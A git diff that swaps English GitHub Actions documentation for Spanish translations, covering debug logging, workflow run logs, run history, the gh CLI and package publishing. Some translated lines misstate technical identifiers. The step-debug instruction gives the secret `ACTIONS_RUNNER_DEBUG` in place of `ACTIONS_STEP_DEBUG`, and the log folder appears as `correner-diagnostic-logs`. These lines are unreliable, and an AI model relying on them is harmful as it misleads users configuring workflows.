-intro: 'If the workflow logs do not provide enough detail to diagnose why a workflow, job, or step is not working as expected, you can enable additional debug logging.'
+title: Habilitar registro de depuración
+intro: 'Si los registros de flujo de trabajo no proporcionan suficiente detalle para diagnosticar por qué un flujo de trabajo o paso no funciona como se espera, puedes habilitar más registros de depuración.'
 redirect_from:
   - /actions/managing-workflow-runs/enabling-debug-logging
 versions:
@@ -13,7 +13,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-These extra logs are enabled by setting secrets in the repository containing the workflow, so the same permissions requirements will apply:
+Estas bitácoras extra se habilitan configurando los secretos en el repositorio que contiene el flujo de trabajo, así que aplicarán los mismos requisitos de los permisos:
 
 - {% data reusables.github-actions.permissions-statement-secrets-repository %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
@@ -22,23 +22,23 @@ These extra logs are enabled by setting secrets in the repository containing the
 - {% data reusables.github-actions.permissions-statement-secrets-organization %}
 - {% data reusables.github-actions.permissions-statement-secrets-api %}
 
-For more information on setting secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para obtener más información sobre cómo establecer secretos, consulta la sección "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
 
-## Enabling runner diagnostic logging
+## Habilitar el registro de diagnóstico del ejecutor
 
-Runner diagnostic logging provides additional log files that contain information about how a runner is executing a job. Two extra log files are added to the log archive:
+El registro de diagnósticos de ejecución proprociona archivos de bitácora adicionales que contienen información acera de cómo un ejecutor está ejecutando un job. Dos archivos de registro adicionales se agregan al archivo de registro:
 
-* The runner process log, which includes information about coordinating and setting up runners to execute jobs.
-* The worker process log, which logs the execution of a job.
+* El registro del proceso del ejecutor, que incluye información acerca de la coordinación y la configuración de los ejecutores para ejecutar tareas.
+* El registro del proceso del trabajador, que registra la ejecución de una tarea.
 
-1. To enable runner diagnostic logging, set the following secret in the repository that contains the workflow: `ACTIONS_RUNNER_DEBUG` to `true`.
+1. Para habilitar el registro de diagnóstico del ejecutor, establece el siguiente secreto en el repositorio que contiene el flujo de trabajo: `ACTIONS_RUNNER_DEBUG` en `true`.
 
-1. To download runner diagnostic logs, download the log archive of the workflow run. The runner diagnostic logs are contained in the `runner-diagnostic-logs` folder. For more information on downloading logs, see "[Downloading logs](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)."
+1. Para descargar los registros de diagnóstico del ejecutor, descarga el archivo de registro del flujo de trabajo. Los registros de diagnóstico del ejecutor se encuentran en la carpeta `correner-diagnostic-logs`. Para obtener más información sobre cómo descargar bitácoras, consulta la sección "[Descargar bitácoras](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs)".
 
-## Enabling step debug logging
+## Habilitar el registro de depuración del paso
 
-Step debug logging increases the verbosity of a job's logs during and after a job's execution.
+El registro de depuración del paso aumenta el nivel de detalle de los registros de un trabajo durante y después de la ejecución de una tarea.
 
-1. To enable step debug logging, you must set the following secret in the repository that contains the workflow: `ACTIONS_STEP_DEBUG` to `true`.
+1. Para habilitar el registro de depuración del paso, debes establecer el siguiente secreto en el repositorio que contiene el flujo de trabajo: `ACTIONS_RUNNER_DEBUG` en `true`.
 
-1. After setting the secret, more debug events are shown in the step logs. For more information, see ["Viewing logs to diagnose failures"](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
+1. Después de establecer el secreto, se muestran más eventos de depuración en los registros del paso. Para obtener más información, consulta ["Ver registros para diagnosticar fallas"](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures).
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/index.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/index.md
index 1c7b12c155..14f5bd0564 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/index.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/index.md
@@ -1,7 +1,7 @@
 ---
-title: Monitoring and troubleshooting workflows
-shortTitle: Monitor & troubleshoot
-intro: 'You can view the status and results of each step in your workflow, debug a failed workflow, search and download logs, and view billable job execution minutes.'
+title: Monitorear y solucionar los problemas de los flujos de trabajo
+shortTitle: Monitorear & solucionar problemas
+intro: 'Puedes ver el estado de los resultados de cada paso en tu flujo de trabajo, depurar un flujo de trabajo fallido y descargar las bitácoras y ver los minutos de ejecución facturables de los jobs.'
 redirect_from:
   - /articles/viewing-your-repository-s-workflows
   - /articles/viewing-your-repositorys-workflows
@@ -20,5 +20,6 @@ children:
   - /enabling-debug-logging
   - /notifications-for-workflow-runs
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
index 862e2cca8d..aeb8f50c2e 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md
@@ -1,12 +1,12 @@
 ---
-title: Notifications for workflow runs
-intro: You can subscribe to notifications about workflow runs that you trigger.
+title: Notificaciones para ejecuciones de flujo de trabajo
+intro: Puedes suscribirte a las notificaciones sobre las ejecuciones de flujo de trabajo que actives.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Notifications
+shortTitle: Notificaciones
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
index 1b11253aaf..18fcc6de68 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md
@@ -1,6 +1,6 @@
 ---
-title: Using the visualization graph
-intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows.
+title: Utilizar la gráfica de visualización
+intro: Cada ejecución de flujo de trabajo genera una gráfica en tiempo real que ilustra el progreso de la misma. Puedes utilizar esta gráfica para monitorear y depurar los flujos de trabajo.
 redirect_from:
   - /actions/managing-workflow-runs/using-the-visualization-graph
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '>=3.1'
   ghae: '*'
   ghec: '*'
-shortTitle: Use the visualization graph
+shortTitle: Utiliza la gráfica de visualización
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -19,8 +19,6 @@ shortTitle: Use the visualization graph
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 
-1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.
-   ![Workflow graph](/assets/images/help/images/workflow-graph.png)
+1. La gráfica muestra cda job en el flujo de trabajo. Un icono a la izquierda del nombre del job indica el estado del mismo. Las líneas entre los jobs indican las dependencias. ![Gráfica del flujo de trabajo](/assets/images/help/images/workflow-graph.png)
 
-2. Click on a job to view the job log.
-   ![Workflow graph](/assets/images/help/images/workflow-graph-job.png)
+2. Da clic en un job para ver la bitácora del mismo.![Gráfica del flujo de trabajo](/assets/images/help/images/workflow-graph-job.png)
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
index dd021c9b38..dcbd93d94a 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Using workflow run logs
-intro: 'You can view, search, and download the logs for each job in a workflow run.'
+title: Utilizar bitácoras de ejecución de flujo de trabajo
+intro: 'Puedes ver, buscar y descargar las bitácoras de cada job en una ejecución de flujo de trabajo.'
 redirect_from:
   - /actions/managing-workflow-runs/using-workflow-run-logs
 versions:
@@ -13,21 +13,21 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-You can see whether a workflow run is in progress or complete from the workflow run page. You must be logged in to a {% data variables.product.prodname_dotcom %} account to view workflow run information, including for public repositories. For more information, see "[Access permissions on GitHub](/articles/access-permissions-on-github)."
+Puedes ver si una ejecución de flujo de trabajo está en curso o completa desde la página de ejecución del flujo de trabajo. Debes haber iniciado sesión en una cuenta de {% data variables.product.prodname_dotcom %} para ver la información de ejecución del flujo de trabajo, incluyendo los casos de repositorios públicos. Para obtener más información, consulta "[Permisos de acceso en GitHub](/articles/access-permissions-on-github)".
 
-If the run is complete, you can see whether the result was a success, failure, canceled, or neutral. If the run failed, you can view and search the build logs to diagnose the failure and re-run the workflow. You can also view billable job execution minutes, or download logs and build artifacts.
+Si la ejecución está completa, puedes ver si el resultado fue exitoso, fallido, cancelado o neutral. Si la ejecución falló, puedes ver y buscar en los registros de construcción para diagnosticar la falla y volver a ejecutar el flujo de trabajo. También puedes ver los minutos de ejecución facturables para jobs, o descargar bitácoras y artefactos de compilación.
 
-{% data variables.product.prodname_actions %} use the Checks API to output statuses, results, and logs for a workflow. {% data variables.product.prodname_dotcom %} creates a new check suite for each workflow run. The check suite contains a check run for each job in the workflow, and each job includes steps. {% data variables.product.prodname_actions %} are run as a step in a workflow. For more information about the Checks API, see "[Checks](/rest/reference/checks)."
+{% data variables.product.prodname_actions %} usa la API de verificaciones para generar estados, resultados y registros para un flujo de trabajo. {% data variables.product.prodname_dotcom %} crea una nueva comprobación de suite para cada ejecución de flujo de trabajo. La comprobación de suite contiene una ejecución de comprobación para cada trabajo en el flujo de trabajo, y cada trabajo incluye diferentes pasos. {% data variables.product.prodname_actions %} se ejecutan como un paso en un flujo de trabajo. Para obtener más información acerca de la API de Verificaciones, consulta la sección "[Verificaciones](/rest/reference/checks)".
 
 {% data reusables.github-actions.invalid-workflow-files %}
 
-## Viewing logs to diagnose failures
+## Ver registros para diagnosticar fallas
 
-If your workflow run fails, you can see which step caused the failure and review the failed step's build logs to troubleshoot. You can see the time it took for each step to run. You can also copy a permalink to a specific line in the log file to share with your team. {% data reusables.repositories.permissions-statement-read %}
+Si falla la ejecución de su flujo de trabajo, puedes ver qué paso provocó el error y revisar los registros de construcción del paso que falló para solucionar el problema. Puedes ver el tiempo que demoró cada paso en ejecutarse. También puedes copiar un enlace permanente a una línea específica en el archivo de registro para compartir con tu equipo. {% data reusables.repositories.permissions-statement-read %}
 
-In addition to the steps configured in the workflow file, {% data variables.product.prodname_dotcom %} adds two additional steps to each job to set up and complete the job's execution. These steps are logged in the workflow run with the names "Set up job" and "Complete job".
+Adicionalmente a los pasos que se configuraron en el archivo de flujo de trabajo, {% data variables.product.prodname_dotcom %} agrega dos pasos adicionales a cada job para configurar y completar la ejecución del flujo de trabajo. Estos pasos se registran en la ejecución del flujo de trabajo con los nombres de "Set up job" y "Complete job".
 
-For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Set up job" records details of the runner's virtual environment, and includes a link to the list of preinstalled tools that were present on the runner machine.
+Para jobs que se ejecutan en ejecutores hospedados en {% data variables.product.prodname_dotcom %}, "Set up job" registra los detalles del ambiente virtual del ejecutor, e incluye un enlace a la lista de herramientas pre-instaladas que estuvieron presentes en la máquina del ejecutor.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
@@ -37,83 +37,83 @@ For jobs run on {% data variables.product.prodname_dotcom %}-hosted runners, "Se
 {% data reusables.repositories.view-failed-job-results-superlinter %}
 {% data reusables.repositories.view-specific-line-superlinter %}
 
-## Searching logs
+## Buscar registros
 
-You can search the build logs for a particular step. When you search logs, only expanded steps are included in the results. {% data reusables.repositories.permissions-statement-read %}
+Puedes buscar en los registros de construcción un paso en particular. Cuando buscas registros, solo los pasos ampliados se incluyen en los resultados. {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
 {% data reusables.repositories.navigate-to-job-superlinter %}
-1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query.
+1. En el cuadro de búsqueda **Buscar registros** en la esquina superior derecha de la salida del registro, escribe una consulta de búsqueda.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated-2.png)
+  ![Cuadro de búsqueda para buscar registros](/assets/images/help/repository/search-log-box-updated-2.png)
 {% else %}
-  ![Search box to search logs](/assets/images/help/repository/search-log-box-updated.png)
+  ![Cuadro de búsqueda para buscar registros](/assets/images/help/repository/search-log-box-updated.png)
 {% endif %}
 
-## Downloading logs
+## Descargar bitácoras
 
-You can download the log files from your workflow run. You can also download a workflow's artifacts. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." {% data reusables.repositories.permissions-statement-read %}
+Puedes descargar los archivos de bitácora desde tu ejecución de flujo de trabajo. También puedes descargar los artefactos de un flujo de trabajo. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)." {% data reusables.repositories.permissions-statement-read %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
 {% data reusables.repositories.navigate-to-job-superlinter %}
-1. In the upper right corner, click {% ifversion fpt or ghes > 3.0 or ghae or ghec %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**.
+1. En la esquina superior derecha, haz clic en {% ifversion fpt or ghes > 3.0 or ghae or ghec %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} y selecciona **Descargar archivo de bitácora**.
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
+  ![Menú desplegable para descargar registros](/assets/images/help/repository/download-logs-drop-down-updated-2.png)
   {% else %}
-  ![Download logs drop-down menu](/assets/images/help/repository/download-logs-drop-down-updated.png)
+  ![Menú desplegable para descargar registros](/assets/images/help/repository/download-logs-drop-down-updated.png)
   {% endif %}
 
-## Deleting logs
+## Borrar bitácoras
 
-You can delete the log files from your workflow run. {% data reusables.repositories.permissions-statement-write %}
+Puedes borrar los archivos de bitácora de tu ejecución de flujo de trabajo. {% data reusables.repositories.permissions-statement-write %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow-superlinter %}
 {% data reusables.repositories.view-run-superlinter %}
-1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+1. En la esquina superior derecha, haz clic en el {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
+    ![Icono de Kebab horizontal](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png)
     {% else %}
-    ![Kebab-horizontal icon](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
+    ![Icono de Kebab horizontal](/assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated.png)
     {% endif %}
-2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. 
+2. Para borrar los archivos de bitácora, da clic en el botón **Borrar todas las bitácoras** y revisa el aviso de confirmación.
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated-2.png)
+  ![Borrar todas las bitácoras](/assets/images/help/repository/delete-all-logs-updated-2.png)
   {% else %}
-  ![Delete all logs](/assets/images/help/repository/delete-all-logs-updated.png)
+  ![Borrar todas las bitácoras](/assets/images/help/repository/delete-all-logs-updated.png)
   {% endif %}
-After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run.
+Después de borrar las bitácoras, el botón de **Borrar todas las bitácoras** se elimina para indicar que ya no quedan archivos en la ejecución de flujo de trabajo.
 
-## Viewing logs with {% data variables.product.prodname_cli %}
+## Visualizar las bitácoras con {% data variables.product.prodname_cli %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To view the log for a specific job, use the `run view` subcommand. Replace `run-id` with the ID of run that you want to view logs for. {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a job from the run. If you don't specify `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run, and then returns another interactive menu for you to choose a job from the run.
+Para ver la bitácora de un job específico, utiliza el subcomando `run view`. Reemplaza a `run-id` con la ID de la ejecución de la cual quieres ver las bitácoras. {% data variables.product.prodname_cli %} devuelve un menú interactivo para que elijas un job de la ejecución. Si no especificas una `run-id`, {% data variables.product.prodname_cli %} devuelve un menú interactivo para que elijas una ejecución reciente y luego devuelve otro menú interactivo para que elijas un job de la ejecución.
 
 ```shell
 gh run view <em>run-id</em> --log
 ```
 
-You can also use the `--job` flag to specify a job ID. Replace `job-id` with the ID of the job that you want to view logs for.
+También puedes utilizar el marcador `--job` para especificar una ID de job. Reemplaza a `job-id` con la ID del job del cual quieres ver las bitácoras.
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-You can use `grep` to search the log. For example, this command will return all log entries that contain the word `error`.
+Puedes utilizar `grep` para buscar la bitácora. Por ejemplo, este comando devolverá todas las entradas de la bitácora que contenga la palabra `error`.
 
 ```shell
 gh run view --job <em>job-id</em> --log | grep error
 ```
 
-To filter the logs for any failed steps, use `--log-failed` instead of `--log`.
+Para filtrar las bitácoras para encontrar cualquier tipo de paso fallido, utiliza `--log-failed` en vez de `--log`.
 
 ```shell
 gh run view --job <em>job-id</em> --log-failed
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
index f45197dc21..5b9d42f6fa 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md
@@ -1,28 +1,27 @@
 ---
-title: Viewing job execution time
-intro: 'You can view the execution time of a job, including the billable minutes that a job accrued.'
+title: Visualizar el tiempo de ejecución de un job
+intro: 'Puedes ver el tiempo de ejecución de un job, incluyendo los minutos facturables que este job ha acumulado.'
 redirect_from:
   - /actions/managing-workflow-runs/viewing-job-execution-time
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: View job execution time
+shortTitle: Visualizar el tiempo de ejecución de un job
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Billable job execution minutes are only shown for jobs run on private repositories that use {% data variables.product.prodname_dotcom %}-hosted runners and are rounded up to the next minute. There are no billable minutes when using {% data variables.product.prodname_actions %} in public repositories or for jobs run on self-hosted runners.
+Los minutos de ejecución facturables para un job solo se muestran en aquellos jobs que se ejecutan en repositorios privados que utilizan ejecutores hospedados en {% data variables.product.prodname_dotcom %} y se redondean al siguiente minuto. No hay minutos facturables cuando se utiliza {% data variables.product.prodname_actions %} en repositorios públicos o para trabajos que se ejecutan en ejecutores auto-hospedados.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.
-   ![Run and billable time details link](/assets/images/help/repository/view-run-billable-time.png)
+1. Debajo del resumen del job, puedes ver el tiempo de ejecución del mismo. Para ver los detalles sobre el tiempo facturable de la ejecución de jobs, da clic en el tiempo que se muestra debajo de **tiempo facturable**. ![Enlace para los detalles de tiempo facturable y de ejecución](/assets/images/help/repository/view-run-billable-time.png)
 
    {% note %}
-   
-   **Note:** The billable time shown does not include any minute multipliers. To view your total {% data variables.product.prodname_actions %} usage, including minute multipliers, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)."
-   
+
+   **Nota:** El tiempo facturable que se muestra no incluye ningún multiplicador de minutos. Para ver tu uso total de {% data variables.product.prodname_actions %}, incluyendo los multiplicadores de minutos, consulta la sección "[Visualizar tu uso de {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage)".
+
    {% endnote %}
diff --git a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
index 6ecf2c01cc..4e8c64711f 100644
--- a/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
+++ b/translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing workflow run history
-intro: You can view logs for each run of a workflow. Logs include the status for each job and step in a workflow.
+title: Visualizar el historial de ejecución del flujo de trabajo
+intro: Puedes ver las bitácoras de cada ejecución de un flujo de trabajo. Las bitácoras incluyen el estado de cada job y de cada paso en un flujo de trabajo.
 redirect_from:
   - /actions/managing-workflow-runs/viewing-workflow-run-history
 versions:
@@ -8,7 +8,7 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: View workflow run history
+shortTitle: Visualizar el historial de ejecución de un flujo de trabajo
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -16,8 +16,6 @@ shortTitle: View workflow run history
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -31,53 +29,53 @@ shortTitle: View workflow run history
 
 {% data reusables.cli.cli-learn-more %}
 
-### Viewing recent workflow runs
+### Visualizar las ejecuciones de flujo de trabajo recientes
 
-To list the recent workflow runs, use the `run list` subcommand.
+Para listar las ejecuciones de flujo de trabajo recientes, utiliza el subcomando `run list`.
 
 ```shell
 gh run list
 ```
 
-To specify the maximum number of runs to return, you can use the `-L` or `--limit` flag . The default is `10`.
+Para especificar la cantidad máxima de ejecuciones a devolver, puedes utilizar el marcador `-L` o `--limit`. Por defecto es `10`.
 
 ```shell
 gh run list --limit 5
 ```
 
-To only return runs for the specified workflow, you can use the `-w` or `--workflow` flag.  Replace `workflow` with either the workflow name, workflow ID, or workflow file name. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`.
+Para que se devuelvan únicamente las ejecuciones del flujo de trabajo especificado, puedes utilizar el marcador `-w` o `--workflow`.  Reemplaza a `workflow` ya sea con el nombre, ID o nombre de archivo del flujo de trabajo. Por ejemplo `"Link Checker"`, `1234567`, o `"link-check-test.yml"`.
 
 ```shell
 gh run list --workflow <em>workflow</em>
 ```
 
-### Viewing details for a specific workflow run
+### Visualizar los detalles de una ejecución de flujo de trabajo específica
 
-To display details for a specific workflow run, use the `run view` subcommand. Replace `run-id` with the ID of the run that you want to view. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+Para mostrar los detalles de una ejecución de flujo de trabajo específica, utiliza el subcomando `run view`. Reemplaza `run-id` con la ID de la ejecución que quieres ver. Si no especificas una `run-id`, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas una ejecución reciente.
 
 ```shell
 gh run view <em>run-id</em>
 ```
 
-To include job steps in the output, use the `-v` or `--verbose` flag.
+Par aincluir los pasos del job en la salida, utiliza el marcador `-v` o `--verbose`.
 
 ```shell
 gh run view <em>run-id</em> --verbose
 ```
 
-To view details for a specific job in the run, use the `-j` or `--job` flag.  Replace `job-id` with the ID of the job that you want to view.
+Para ver los detalles de un job específico en la ejecución, utiliza el marcador `-j` o `--job`.  Reemplaza a `job-id` con la ID del job que quieres ver.
 
 ```shell
 gh run view --job <em>job-id</em>
 ```
 
-To view the full log for a job, use the `--log` flag.
+Para ver la bitácora completa de un job, utiliza el marcador `--log`.
 
 ```shell
 gh run view --job <em>job-id</em> --log
 ```
 
-Use the `--exit-status` flag to exit with a non-zero status if the run failed. For example:
+Utiliza el marcador `--exit-status` para salir con un estado diferente a cero si la ejecución falló. Por ejemplo:
 
 ```shell
 gh run view 0451 --exit-status && echo "run pending or passed"
diff --git a/translations/es-ES/content/actions/publishing-packages/about-packaging-with-github-actions.md b/translations/es-ES/content/actions/publishing-packages/about-packaging-with-github-actions.md
index fe14bd2f39..cb192a9fe3 100644
--- a/translations/es-ES/content/actions/publishing-packages/about-packaging-with-github-actions.md
+++ b/translations/es-ES/content/actions/publishing-packages/about-packaging-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: About packaging with GitHub Actions
-intro: 'You can set up workflows in {% data variables.product.prodname_actions %} to produce packages and upload them to {% data variables.product.prodname_registry %} or another package hosting provider.'
+title: Acerca del empaquetado con acciones de GitHub
+intro: 'Puedes configurar flujos de trabajo en {% data variables.product.prodname_actions %} para generar paquetes y cargarlos en {% data variables.product.prodname_registry %} u otro proveedor de alojamiento del paquete.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-packaging-with-github-actions
   - /actions/publishing-packages-with-github-actions/about-packaging-with-github-actions
@@ -13,7 +13,7 @@ versions:
 type: overview
 topics:
   - Packaging
-shortTitle: Packaging with GitHub Actions
+shortTitle: Empaquetar con GitHub Actions
 ---
 
 {% data reusables.actions.enterprise-beta %}
@@ -21,6 +21,6 @@ shortTitle: Packaging with GitHub Actions
 
 {% data reusables.package_registry.about-packaging-and-actions %}
 
-## Further reading
+## Leer más
 
-- "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)"
+- "[Publicar paquetes Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)"
diff --git a/translations/es-ES/content/actions/publishing-packages/index.md b/translations/es-ES/content/actions/publishing-packages/index.md
index 843d525047..d644a76040 100644
--- a/translations/es-ES/content/actions/publishing-packages/index.md
+++ b/translations/es-ES/content/actions/publishing-packages/index.md
@@ -1,7 +1,7 @@
 ---
-title: Publishing packages
-shortTitle: Publishing packages
-intro: 'You can automatically publish packages using {% data variables.product.prodname_actions %}.'
+title: Publicar paquetes
+shortTitle: Publicar paquetes
+intro: 'Puedes publicar paquetes automáticamente utilizando las {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md b/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md
index d7fe77fb52..b33291634c 100644
--- a/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md
+++ b/translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Docker images
-intro: 'You can publish Docker images to a registry, such as Docker Hub or {% data variables.product.prodname_registry %}, as part of your continuous integration (CI) workflow.'
+title: Publicar imágenes de Docker
+intro: 'Puedes publicar imágenes de Docker en un registro, tale como Docker Hub o {% data variables.product.prodname_registry %}, como parte de tu flujo de trabajo de integración continua (IC).'
 redirect_from:
   - /actions/language-and-framework-guides/publishing-docker-images
   - /actions/guides/publishing-docker-images
@@ -19,52 +19,52 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a workflow that performs a Docker build, and then publishes Docker images to Docker Hub or {% data variables.product.prodname_registry %}. With a single workflow, you can publish images to a single registry or to multiple registries.
+Esta guía te muestra cómo crear un flujo de trabajo que realiza una compilación de Docker y posteriormente publica las imágenes de Docker en Docker Hub o {% data variables.product.prodname_registry %}. Con un solo flujo de trabajo, puedes publicar imágenes a un solo registro o a varios de ellos.
 
 {% note %}
 
-**Note:** If you want to push to another third-party Docker registry, the example in the "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" section can serve as a good template.
+**Nota:** Si quieres subir otro registro de terceros de Docker, el ejemplo en la sección "[Publicar imágenes en {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)" puede servir como plantilla.
 
 {% endnote %}
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+Te recomendamos que tengas una comprensión básica de las opciones de configuración de flujo de trabajo y cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-You might also find it helpful to have a basic understanding of the following:
+También puede que encuentres útil el tener un entendimiento básico de lo siguiente:
 
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"{% ifversion fpt or ghec %}
-- "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)"{% else %}
